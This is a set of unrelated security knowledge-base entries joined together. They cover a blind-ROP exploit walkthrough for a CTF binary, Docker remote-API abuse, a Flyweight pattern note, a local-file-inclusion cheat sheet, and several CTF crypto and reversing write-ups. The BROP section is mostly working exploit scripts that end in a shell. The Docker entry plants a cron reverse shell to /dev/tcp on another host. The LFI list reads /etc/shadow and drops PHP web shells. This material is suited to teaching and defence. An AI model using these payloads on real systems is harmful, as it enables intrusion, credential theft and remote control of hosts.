那么我们该如何具体地去做呢?有一种比较直接的方法就是从头到尾依次扫描每个plt表项,但是这个却比较麻烦。我们可以选择如下的一种方法
- 利用plt表项的慢路径
- 并且利用下一个表项的慢路径的地址来覆盖返回地址
这样,我们就不用来回控制相应的变量了。
当然,我们也可能碰巧找到strncmp或者strcasecmp函数,它们具有和strcmp一样的效果。
##### 寻找输出函数
寻找输出函数既可以寻找write,也可以寻找puts。一般现先找puts函数。不过这里为了介绍方便,先介绍如何寻找write。
###### 寻找write@plt
当我们可以控制write函数的三个参数的时候,我们就可以再次遍历所有的plt表,根据write函数将会输出内容来找到对应的函数。需要注意的是,这里有个比较麻烦的地方在于我们需要找到文件描述符的值。一般情况下,我们有两种方法来找到这个值
- 使用rop chain,同时使得每个rop对应的文件描述符不一样
- 同时打开多个连接,并且我们使用相对较高的数值来试一试。
需要注意的是
- linux默认情况下,一个进程最多只能打开1024个文件描述符。
- posix标准每次申请的文件描述符数值总是当前最小可用数值。
当然,我们也可以选择寻找puts函数。
###### 寻找puts@plt
寻找puts函数(这里我们寻找的是 plt),我们自然需要控制rdi参数,在上面,我们已经找到了brop gadget。那么,我们根据brop gadget偏移9可以得到相应的gadgets(由ret2libc_csu_init中后续可得)。同时在程序还没有开启PIE保护的情况下,0x400000处为ELF文件的头部,其内容为\x7fELF。所以我们可以根据这个来进行判断。一般来说,其payload如下
```
payload = 'A'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
```
#### 攻击总结
此时,攻击者已经可以控制输出函数了,那么攻击者就可以输出.text段更多的内容以便于来找到更多合适gadgets。同时,攻击者还可以找到一些其它函数,如dup2或者execve函数。一般来说,攻击者此时会去做下事情
- 将socket输出重定向到输入输出
- 寻找“/bin/sh”的地址。一般来说,最好是找到一块可写的内存,利用write函数将这个字符串写到相应的地址。
- 执行execve获取shell,获取execve不一定在plt表中,此时攻击者就需要想办法执行系统调用了。
### 例子
这里我们以 [HCTF2016的出题人失踪了](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/brop/hctf2016-brop) 为例。基本思路如下
#### 确定栈溢出长度
```python
def getbufferflow_length():
i = 1
while 1:
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(i * 'a')
output = sh.recv()
sh.close()
if not output.startswith('No password'):
return i - 1
else:
i += 1
except EOFError:
sh.close()
return i - 1
```
根据上面,我们可以确定,栈溢出的长度为72。同时,根据回显信息可以发现程序并没有开启canary保护,否则,就会有相应的报错内容。所以我们不需要执行stack reading。
#### 寻找 stop gadgets
寻找过程如下
```python
def get_stop_addr(length):
addr = 0x400000
while 1:
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr)
sh.sendline(payload)
sh.recv()
sh.close()
print 'one success addr: 0x%x' % (addr)
return addr
except Exception:
addr += 1
sh.close()
```
这里我们直接尝试64位程序没有开启PIE的情况,因为一般是这个样子的,,,如果开启了,,那就按照开启了的方法做,,结果发现了不少,,我选择了一个貌似返回到源程序中的地址
```text
one success stop gadget addr: 0x4006b6
```
#### 识别brop gadgets
下面,我们根据上面介绍的原理来得到对应的brop gadgets地址。构造如下,get_brop_gadget是为了得到可能的brop gadget,后面的check_brop_gadget是为了检查。
```python
def get_brop_gadget(length, stop_gadget, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(
stop_gadget) + p64(0) * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
# stop gadget returns memory
if not content.startswith('WelCome'):
return False
return True
except Exception:
sh.close()
return False
def check_brop_gadget(length, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + 'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True
##length = getbufferflow_length()
length = 72
##get_stop_addr(length)
stop_gadget = 0x4006b6
addr = 0x400740
while 1:
print hex(addr)
if get_brop_gadget(length, stop_gadget, addr):
print 'possible brop gadget: 0x%x' % addr
if check_brop_gadget(length, addr):
print 'success brop gadget: 0x%x' % addr
break
addr += 1
```
这样,我们基本得到了brop的gadgets地址0x4007ba
#### 确定puts@plt地址
根据上面,所说我们可以构造如下payload来进行获取
```text
payload = 'A'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
```
具体函数如下
```python
def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400000
while 1:
print hex(addr)
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
addr) + p64(stop_gadget)
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('\x7fELF'):
print 'find puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1
```
最后根据plt的结构,选择0x400560作为puts@plt
#### 泄露puts@got地址
在我们可以调用puts函数后,我们可以泄露puts函数的地址,进而获取libc版本,从而获取相关的system函数地址与/bin/sh地址,从而获取shell。我们从0x400000开始泄露0x1000个字节,这已经足够包含程序的plt部分了。代码如下
```python
def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 9999)
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
try:
data = data[:data.index("\nWelCome")]
except Exception:
data = data
if data == "":
data = '\x00'
return data
except Exception:
sh.close()
return None
##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
addr = 0x400000
result = ""
while addr < 0x401000:
print hex(addr)
data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None:
continue
else:
result += data
addr += len(data)
with open('code', 'wb') as f:
f.write(result)
```
最后,我们将泄露的内容写到文件里。需要注意的是如果泄露出来的是“”,那说明我们遇到了'\x00',因为puts是输出字符串,字符串是以'\x00'为终止符的。之后利用ida打开binary模式,首先在edit->segments->rebase program 将程序的基地址改为0x400000,然后找到偏移0x560处,如下
```asm
seg000:0000000000400560 db 0FFh
seg000:0000000000400561 db 25h ; %
seg000:0000000000400562 db 0B2h ;
seg000:0000000000400563 db 0Ah
seg000:0000000000400564 db 20h
seg000:0000000000400565 db 0
```
然后按下c,将此处的数据转换为汇编指令,如下
```asm
seg000:0000000000400560 ; ---------------------------------------------------------------------------
seg000:0000000000400560 jmp qword ptr cs:601018h
seg000:0000000000400566 ; ---------------------------------------------------------------------------
seg000:0000000000400566 push 0
seg000:000000000040056B jmp loc_400550
seg000:000000000040056B ; ---------------------------------------------------------------------------
```
这说明,puts@got的地址为0x601018。
#### 程序利用
```python
##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
##leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()
```
### 参考阅读
- http://ytliu.info/blog/2014/09/28/blind-return-oriented-programming-brop-attack-gong-ji-yuan-li/
- http://bobao.360.cn/learning/detail/3694.html
- http://o0xmuhe.me/2017/01/22/Have-fun-with-Blind-ROP/
|
sec-knowleage
|
# Docker未授权访问漏洞
## 漏洞描述
恶意攻击者可以在未经授权的情况下访问 Docker 服务器或容器。这可能导致敏感数据泄露,或允许攻击者执行未经授权的操作,如添加、修改或删除容器。
## 环境搭建
安装docker
```
yum install -y docker
```
修改`/usr/lib/systemd/system/docker.service`服务,启动API接口。
```
ExecStart=/usr/local/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock
```

重启docker服务。
```
systemctl daemon-reload
systemctl restart docker
```

## 漏洞复现
输入`ip:2375/version`就会列出基本信息,和docker version命令效果一样。

**利用docker容器写定时任务反弹shell**
我们可以利用未授权访问的docker remote api 开启一个容器并挂载至根目录,由此我们可以获得任意读写的权限,然后我们再将反弹shell命令写入定时任务crontab中,即可使宿主机反弹shell。
```
[root@localhost ~]# docker -H tcp://192.168.32.183:2375 run -it --user root --privileged -v /var/spool/cron/:/var/spool/cron/ alpine sh
```
写入定时计划
```
/ # echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/8088 0>&1' >> /var/spool/cron/root
```

## 安全加固
在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:
```
设置ACL,仅允许信任的来源IP连接;
设置TLS认证,官方的文档为Protect the Docker daemon socket
```
客户端与服务器端通讯的证书生成后,可以通过以下命令启动docker daemon:
```
docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock
```
客户端连接时需要设置以下环境变量
```
export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
```
|
sec-knowleage
|
## 享元(Flyweight)
### Intent
利用共享的方式来支持大量细粒度的对象,这些对象一部分内部状态是相同的。
### Class Diagram
- Flyweight:享元对象
- IntrinsicState:内部状态,享元对象共享内部状态
- ExtrinsicState:外部状态,每个享元对象的外部状态不同
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/5f5c22d5-9c0e-49e1-b5b0-6cc7032724d4.png"/> </div><br>
### Implementation
```java
public interface Flyweight {
void doOperation(String extrinsicState);
}
```
```java
public class ConcreteFlyweight implements Flyweight {
private String intrinsicState;
public ConcreteFlyweight(String intrinsicState) {
this.intrinsicState = intrinsicState;
}
@Override
public void doOperation(String extrinsicState) {
System.out.println("Object address: " + System.identityHashCode(this));
System.out.println("IntrinsicState: " + intrinsicState);
System.out.println("ExtrinsicState: " + extrinsicState);
}
}
```
```java
public class FlyweightFactory {
private HashMap<String, Flyweight> flyweights = new HashMap<>();
Flyweight getFlyweight(String intrinsicState) {
if (!flyweights.containsKey(intrinsicState)) {
Flyweight flyweight = new ConcreteFlyweight(intrinsicState);
flyweights.put(intrinsicState, flyweight);
}
return flyweights.get(intrinsicState);
}
}
```
```java
public class Client {
public static void main(String[] args) {
FlyweightFactory factory = new FlyweightFactory();
Flyweight flyweight1 = factory.getFlyweight("aa");
Flyweight flyweight2 = factory.getFlyweight("aa");
flyweight1.doOperation("x");
flyweight2.doOperation("y");
}
}
```
```html
Object address: 1163157884
IntrinsicState: aa
ExtrinsicState: x
Object address: 1163157884
IntrinsicState: aa
ExtrinsicState: y
```
### JDK
Java 利用缓存来加速大量小对象的访问时间。
- java.lang.Integer#valueOf(int)
- java.lang.Boolean#valueOf(boolean)
- java.lang.Byte#valueOf(byte)
- java.lang.Character#valueOf(char)
|
sec-knowleage
|
## Local File Inclusion (LFI)
## Introduction
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server
## Where to find
- Any endpoint that includes a file from a web server. For example, `/index.php?page=index.html`
## How to exploit
1. Basic payload
```
http://example.com/index.php?page=../../../etc/passwd
http://example.com/index.php?page=../../../../../../../../../../../../etc/shadow
```
2. URL encoding
```
http://example.com/index.php?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
```
3. Double encoding
```
http://example.com/index.php?page=%252e%252e%252f%252e%252e%252fetc%252fpasswd
```
4. UTF-8 encoding
```
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
```
5. Using Null Byte (%00)
```
http://example.com/index.php?page=../../../etc/passwd%00
```
6. From an existent folder
```
http://example.com/index.php?page=scripts/../../../../../etc/passwd
```
7. Path truncation
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
```
8. Using PHP Wrappers: filter
```
http://example.com/index.php?page=php://filter/read=string.rot13/resource=config.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=config.php
```
9. Using PHP Wrappers: zlib
```
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shadow
```
10. Using PHP Wrappers: zip
```
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
```
11. Using PHP Wrappers: data
```
http://example.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
```
12. Using PHP Wrappers: expect
```
http://example.com/index.php?page=expect://ls
```
13. Using PHP Wrappers: input
```
POST /index.php?page=php://input&cmd=ls HTTP/1.1
Host: example.com
...
<?php echo shell_exec($_GET['cmd']); ?>
```
14. Some unique bypass
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
http://example.com/index.php?page=/.%2e/.%2e/.%2e/.%2e/etc/passwd
http://example.com/index.php?page=/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
```
## References
* [Aptive](https://www.aptive.co.uk/blog/local-file-inclusion-lfi-testing/)
|
sec-knowleage
|
# AES
## 基本介绍
Advanced Encryption Standard(AES),高级加密标准,是典型的块加密,被设计来取代 DES,由 Joan Daemen 和 Vincent Rijmen 所设计。其基本信息如下
- 输入:128 比特。
- 输出:128 比特。
- SPN 网络结构。
其迭代轮数与密钥长度有关系,如下
| 密钥长度(比特) | 迭代轮数 |
| :--------------: | :------: |
| 128 | 10 |
| 192 | 12 |
| 256 | 14 |
## 基本流程
### 基本概念
在 AES 加解密过程中,每一块都是 128 比特,所以我们这里明确一些基本概念。
在 AES 中,块与 State 之间的转换过程如下
所以,可以看出,每一个 block 中的字节是按照列排列进入到状态数组的。
而对于明文来说,一般我们会选择使用其十六进制进行编码。
### 加解密过程
这里给个看雪上比较好的 [图例](http://bbs.pediy.com/thread-90722.htm) ,以便于介绍基本的流程,每一轮主要包括
- 轮密钥加,AddRoundKey
- 字节替换,SubBytes
- 行移位,ShiftRows
- 列混淆,MixColumns
上面的列混淆的矩阵乘法等号左边的列向量应该在右边。
这里再给一张其加解密的全图,其解密算法的正确性很显然。
我们这里重点关注一下以下。
#### 字节替换
在字节替换的背后,其实是有对应的数学规则来定义对应的替换表的,如下
这里的运算均定义在 $GF(2^8)$ 内。
#### 列混淆
这里的运算也是定义在 $GF(2^8)$ 上,使用的模多项式为 $x^8+x^4+x^3+1$。
#### 密钥扩展
## 等价解密算法
简单分析一下,我们可以发现
- 交换逆向行移位和逆向字节代替并不影响结果。
- 交换轮密钥加和逆向列混淆并不影响结果,关键在于
- 首先可以把异或看成域上的多项式加法
- 然后多项式中乘法对加法具有分配率。
## 攻击方法
- 积分攻击
## 2018 国赛 Crackmec
通过简单分析这个算法,我们可以发现这个算法是一个简化版的 AES,其基本操作为
- 9 轮迭代
- 行移位
- 变种字节替换
如下
```c
memcpy(cipher, plain, 0x10uLL);
for ( i = 0LL; i <= 8; ++i )
{
shift_row(cipher);
for ( j = 0LL; j <= 3; ++j )
*(_DWORD *)&cipher[4 * j] =
box[((4 * j + 3 + 16 * i) << 8) + (unsigned __int8)cipher[4 * j + 3]] ^
box[((4 * j + 2 + 16 * i) << 8) + (unsigned __int8)cipher[4 * j + 2]] ^
box[((4 * j + 1 + 16 * i) << 8) + (unsigned __int8)cipher[4 * j + 1]] ^
box[((4 * j + 16 * i) << 8) + (unsigned __int8)cipher[4 * j]];
}
result = shift_row(cipher);
for ( k = 0LL; k <= 0xF; ++k )
{
result = subbytes[256 * k + (unsigned __int8)cipher[k]];
cipher[k] = result;
}
return result;
```
根据程序流程,我们已知程序加密的结果,而 subbytes 和 shift_row 又是可逆的,所以我们可以获取最后一轮加密后的结果。此时,我们还知道 box 对应的常数,我们只是不知道上一轮中 `cipher[4*j]` 对应的值,一共 32 位,如果我们直接爆破的话,显然不可取,因为每一轮都需要这么爆破,时间不可接受。那么有没有其它办法呢?其实有的,我们可以考虑中间相遇攻击,即首先枚举所有的 `cipher[4*j]` 与`cipher[4*j+1]` 的字节组合,一共256\*256 种。在枚举剩下两个字节时,我们可以先计算出其与密文的异或值,然后去之前的组合中找,如果找到的话,我们就认为是正确的。这样复杂度瞬间降到 $O(2^{16})$。
代码如下
```python
encflag = [
0x16, 0xEA, 0xCA, 0xCC, 0xDA, 0xC8, 0xDE, 0x1B, 0x16, 0x03, 0xF8, 0x84,
0x69, 0x23, 0xB2, 0x25
]
subbytebox = eval(open('./subbytes').read())
box = eval(open('./box').read())
print subbytebox[-1], box[-1]
def inv_shift_row(now):
tmp = now[13]
now[13] = now[9]
now[9] = now[5]
now[5] = now[1]
now[1] = tmp
tmp = now[10]
now[10] = now[2]
now[2] = tmp
tmp = now[14]
now[14] = now[6]
now[6] = tmp
tmp = now[15]
now[15] = now[3]
now[3] = now[7]
now[7] = now[11]
now[11] = tmp
return now
def byte2num(a):
num = 0
for i in range(3, -1, -1):
num = num * 256
num += a[i]
return num
def getbytes(i, j, target):
"""
box[((4 * j + 3 + 16 * i) << 8) + a2[4 * j + 3]]
box[((4 * j + 2 + 16 * i) << 8 )+ a2[4 * j + 2]]
box[((4 * j + 1 + 16 * i) << 8) + a2[4 * j + 1]]
box[((4 * j + 16 * i) << 8) + a2[4 * j]];
"""
box01 = dict()
for c0 in range(256):
for c1 in range(256):
num0 = ((4 * j + 16 * i) << 8) + c0
num1 = ((4 * j + 1 + 16 * i) << 8) + c1
num = box[num0] ^ box[num1]
box01[num] = (c0, c1)
for c2 in range(256):
for c3 in range(256):
num2 = ((4 * j + 2 + 16 * i) << 8) + c2
num3 = ((4 * j + 3 + 16 * i) << 8) + c3
num = box[num2] ^ box[num3]
calc = num ^ target
if calc in box01:
c0, c1 = box01[calc]
return c0, c1, c2, c3
print 'not found'
print i, j, target, calc
exit(0)
def solve():
a2 = [0] * 16
"""
for ( k = 0LL; k <= 0xF; ++k )
{
result = subbytesbox[256 * k + a2[k]];
a2[k] = result;
}
"""
for i in range(15, -1, -1):
tag = 0
for j in range(256):
if subbytebox[256 * i + j] == encflag[i]:
# j = a2[k]
tag += 1
a2[i] = j
if tag == 2:
print 'two number', i
exit(0)
"""
result = shift_row(a2);
"""
a2 = inv_shift_row(a2)
"""
for ( i = 0LL; i <= 8; ++i )
{
shift_row(a2);
for ( j = 0LL; j <= 3; ++j )
*(_DWORD *)&a2[4 * j] = box[((4 * j + 3 + 16 * i) << 8) + a2[4 * j + 3]] ^ box[((4 * j + 2 + 16 * i) << 8)
+ a2[4 * j + 2]] ^ box[((4 * j + 1 + 16 * i) << 8) + a2[4 * j + 1]] ^ box[((4 * j + 16 * i) << 8) + a2[4 * j]];
}
"""
for i in range(8, -1, -1):
tmp = [0] * 16
print 'round ', i
for j in range(0, 4):
num = byte2num(a2[4 * j:4 * j + 4])
#print num, a2[4 * j:4 * j + 4]
tmp[4 * j
], tmp[4 * j + 1], tmp[4 * j + 2], tmp[4 * j + 3] = getbytes(
i, j, num
)
a2 = inv_shift_row(tmp)
print a2
print ''.join(chr(c) for c in a2)
if __name__ == "__main__":
solve()
```
运行结果
```shell
➜ cracemec git:(master) ✗ python exp.py
211 3549048324
round 8
round 7
round 6
round 5
round 4
round 3
round 2
round 1
round 0
[67, 73, 83, 67, 78, 98, 35, 97, 100, 102, 115, 64, 70, 122, 57, 51]
CISCNb#adfs@Fz93
```
## 题目
- 2018 强网杯 决赛 revolver
## 参考文献
- https://zh.wikipedia.org/wiki/%E9%AB%98%E7%BA%A7%E5%8A%A0%E5%AF%86%E6%A0%87%E5%87%86
- Cryptography and Network Security, Advanced Encryption Standard ppt
|
sec-knowleage
|
# Baby RSA (crypto, 74p, 137 solved)
In the challenge we get [code](rsa.sage), the [public key](pubkey.py) and the [result](flag.enc).
Encryption is rather simple:
```python
R.<a> = GF(2^2049)
def encrypt(m):
global n
assert len(m) <= 256
m_int = Integer(m.encode('hex'), 16)
m_poly = P(R.fetch_int(m_int))
c_poly = pow(m_poly, e, n)
c_int = R(c_poly).integer_representation()
c = format(c_int, '0256x').decode('hex')
return c
```
It seems the `n` here is a polynomial in PolynomialRing over GF(2).
The encryption basically changes the message into element of GF(2^2049) and then represent this as element of the ring P, then raises this polynomial representation of the message to the power of `e` mod polynomial `n`.
So it really boils down to the classic RSA, with the small twist that `m` and `n` are now polynomials and everything is calcualted in PolynomialRing over GF(2).
We found a very good paper describing this idea: http://www.diva-portal.se/smash/get/diva2:823505/FULLTEXT01.pdf (BSc thesis of Izabela Beatrice Gafitoiu).
If we follow this thesis we will find that in this setting the `d` decryption exponent can be calculated as modular multiplicative inverse of `e` mod `s`.
The special value `s` is the equivalent of `phi` from classic RSA, and is basically `(2^p_d-1)(2^q_d-1)` where `p_d` and `q_d` are degrees of polynomials `p` and `q` such that `p*q == n`.
So the idea is pretty simple:
1. Factor polynomial `n` into `p` and `q`
2. Calculate `s`
3. Calculate `d`
4. Decrypt the flag
```python
def decrypt(m, d):
m_int = Integer(m.encode('hex'), 16)
m_poly = P(R.fetch_int(m_int))
c_poly = pow(m_poly, d, n)
c_int = R(c_poly).integer_representation()
c = format(c_int, '0256x').decode('hex')
return c
if __name__ == '__main__':
p,q = n.factor()
p,q = p[0],q[0]
s = (2^p.degree()-1)*(2^q.degree()-1)
d = inverse_mod(e,s)
with open('flag.enc', 'rb') as f:
ctext = f.read()
print(decrypt(ctext,d))
```
And we get `flag{P1ea5e_k33p_N_as_A_inTegeR~~~~~~}`
|
sec-knowleage
|
## A numbers game II (PPC/Crypto, 70p)
Description: Math is used in cryptography, but someone got this wrong. Can you still solve the equations?
Hint: You need to encode your answers.
###ENG
[PL](#pl-version)
Server sends input as:
Hi, I like math and cryptography. Can you talk to me?!
Level 1.: 4.4.5.3.3.3.3.3.3.3.6.4.3.3.3.3.3.4.3.4.3.4.3.3.3.3.3.3.3.4.6.4.3.3.3.3.3.3.6.4.3.4.4.5
And we are also given the encryption code:
```python
def encode(self, eq):
out = []
for c in eq:
q = bin(self._xor(ord(c),(2<<4))).lstrip("0b")
q = "0" * ((2<<2)-len(q)) + q
out.append(q)
b = ''.join(out)
pr = []
for x in range(0,len(b),2):
c = chr(int(b[x:x+2],2)+51)
pr.append(c)
s = '.'.join(pr)
return s
```
The goal is to decrypt the task, solve it and then send encrypted answer.
First we split the encryption into two functions (one loop in each) and then wrote decryption for each one of them.
We replaced constants like (2<<4) for their numeric values for readibility.
First part of the encryption function takes each character of the input, xors it with static key 32, converts this to binary and add 0 padding so that this binary representation has always 8 digits.
Therefore for the decryption we can simply slice the input to get 8-digit long binary strings, then we treat each one of them as integers in base-2 (this gets rid of 0 padding) and xor with static key 32 (since `a xor b xor b = a`).
```python
def encode1(eq):
out = []
for c in eq:
q = bin((ord(c) ^ 32)).lstrip("0b")
q = "0" * (8 - len(q)) + q
out.append(q)
b = ''.join(out)
return b
def decode1(b):
result = []
for i in range(0, len(b), 8):
q = b[i:i + 8]
q = chr(int(q, 2) ^ 32)
result.append(q)
return "".join(result)
```
Second part of encryption takes the binary string we got from the first part, then slices it into 2-digit parts, treats each one as integer in baes-2, adds 51 and casts this to char. Then all chars are concatenated with dot as separator.
Therefore the decryption of this part splits the input by dot to get characters, then casts the char to integer and subtracts 51, converts the result to 2-digit long binary number and then joins all those numbers into a single string.
```python
def encode2(b):
pr = []
for x in range(0, len(b), 2):
c = chr(int(b[x:x + 2], 2) + 51)
pr.append(c)
s = '.'.join(pr)
return s
def decode2(task):
return "".join("{0:02b}".format((ord(c) - 51)) for c in task.split("."))
```
With this we can now decode the input, which turns out to be exactly the same as for previous task `A numbers game`, so we use the same procedure to solve the tasks, and we use the provided `encrypt()` function to send responses. Complete code is in [here](decrypter.py)
After 100 tasks we get the flag: `IW{Crypt0_c0d3}`
###PL version
Serwer przysyła dane w formacie:
Hi, I like math and cryptography. Can you talk to me?!
Level 1.: 4.4.5.3.3.3.3.3.3.3.6.4.3.3.3.3.3.4.3.4.3.4.3.3.3.3.3.3.3.4.6.4.3.3.3.3.3.3.6.4.3.4.4.5
Dostajemy też kod procedury szyfrującej:
```python
def encode(self, eq):
out = []
for c in eq:
q = bin(self._xor(ord(c),(2<<4))).lstrip("0b")
q = "0" * ((2<<2)-len(q)) + q
out.append(q)
b = ''.join(out)
pr = []
for x in range(0,len(b),2):
c = chr(int(b[x:x+2],2)+51)
pr.append(c)
s = '.'.join(pr)
return s
```
Zadanie polega na zdekodowaniu wejścia, rozwiązaniu problemu a następnie wysłaniu zakodowanej odpowiedzi.
Na początku podzieliliśmy funkcje szyfrującą na kawalki (jedna pętla w kawałku) a następnie napisaliśmy kod odwracajacy te funkcje.
Podmieniliśmy stałe jak (2<<4) na ich wartość numeryczną dla poprawnienia czytelności.
Pierwsza część szyfrowania bierze każdy znak z wejścia, xoruje go ze statycznym kluczem 32, zamienia uzyskaną liczbę na binarną i dodaje padding 0 tak żeby liczba zawsze miała 8 cyfr.
W związu z tym deszyfrowanie polega na podzieleniu wejścia na 8-cyfrowe ciągi binarne, potraktowanie każdego jako integer o podstawie 2 (to automatycznie załatwia sprawę paddingu) i xorowaniu tej liczby z 32 (ponieważ `a xor b xor b = a`).
```python
def encode1(eq):
out = []
for c in eq:
q = bin((ord(c) ^ 32)).lstrip("0b")
q = "0" * (8 - len(q)) + q
out.append(q)
b = ''.join(out)
return b
def decode1(b):
result = []
for i in range(0, len(b), 8):
q = b[i:i + 8]
q = chr(int(q, 2) ^ 32)
result.append(q)
return "".join(result)
```
Druga część szyfrowania bierze binarny ciąg uzyskany w części pierwszej, dzieli go na 2-cyfrowe fragmenty, traktuje każdy jako integer o podstawie 2, dodaje 51 i rzutuje to na char. Następnie wszystkie chary są sklejane z kropką jako separatorem.
W związku z tym deszyfrowanie tej części polega na podzieleniu wejścia po kropkach aby uzyskać chary, następnie rzutowanie tych charów na integery, odjęciu od nich 51, zamiany wyniku na 2-cyfrową liczbę binarną a następnie sklejenie tych liczb w jeden ciąg.
```python
def encode2(b):
pr = []
for x in range(0, len(b), 2):
c = chr(int(b[x:x + 2], 2) + 51)
pr.append(c)
s = '.'.join(pr)
return s
def decode2(task):
return "".join("{0:02b}".format((ord(c) - 51)) for c in task.split("."))
```
Dzięki temu możemy teraz odkodować wejście, które okazuje się mieć taki sam format jak w zadaniu `A numbers game`, więc wykorzystujemy identyczny kod do rozwiązania problemu a wynik przesyłamy szyfrując go daną metodą `encrypt()`. Cały kod rozwiązania znajduje się [tutaj](decrypter.py).
Po 100 zadaniach dostajemy flagę: `IW{Crypt0_c0d3}`
|
sec-knowleage
|
# Tamarin (re, 224p, 42 solved)
We're given an android apk that has a single text entry that acts as a flag check:

The apk turns out to be a Ahead-Of-Time compiled Xamarin application.
When searching for xamarin internals, we've came across a very [helpful SO thread](https://reverseengineering.stackexchange.com/questions/16508/unpacking-xamarin-mono-dll-from-libmonodroid-bundle-app-so) that presents a simple python script for extracting .NET dlls from `libmonodroid_bundle_app.so`.
This, surprisingly, give us a PE file that contains the flag checker method:
```c#
using System;
using Android.App;
using Android.Content.PM;
using Android.OS;
using Android.Runtime;
using Android.Support.V7.App;
using Android.Widget;
using Core;
using Xamarin.Essentials;
namespace Tamarin
{
// Token: 0x02000002 RID: 2
[Activity(Label = "@string/app_name", Theme = "@style/AppTheme", MainLauncher = true)]
public class MainActivity : AppCompatActivity
{
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
protected override void OnCreate(Bundle savedInstanceState)
{
base.OnCreate(savedInstanceState);
Platform.Init(this, savedInstanceState);
this.SetContentView(2131427356);
EditText flagText = base.FindViewById<EditText>(2131230795);
Button button = base.FindViewById<Button>(2131230763);
string empty = string.Empty;
button.Click += delegate(object sender, EventArgs e)
{
if (Check.Func4(flagText.Text))
{
flagText.Text = "The flag is TWCTF{" + flagText.Text + "}";
return;
}
flagText.Text = "Invalid";
};
}
// Token: 0x06000002 RID: 2 RVA: 0x000020B1 File Offset: 0x000002B1
public override void OnRequestPermissionsResult(int requestCode, string[] permissions, [GeneratedEnum] Permission[] grantResults)
{
Platform.OnRequestPermissionsResult(requestCode, permissions, grantResults);
base.OnRequestPermissionsResult(requestCode, permissions, grantResults);
}
}
}
```
`Check.Func4` being the core flag check function. Generally, it cuts the input text into chunks and converts them into uints.
Those numbers are then inserted into hardcoded polynomials. These polynomials are then applied to randomly-generated data a large amount of times and checked against other hardcoded values.
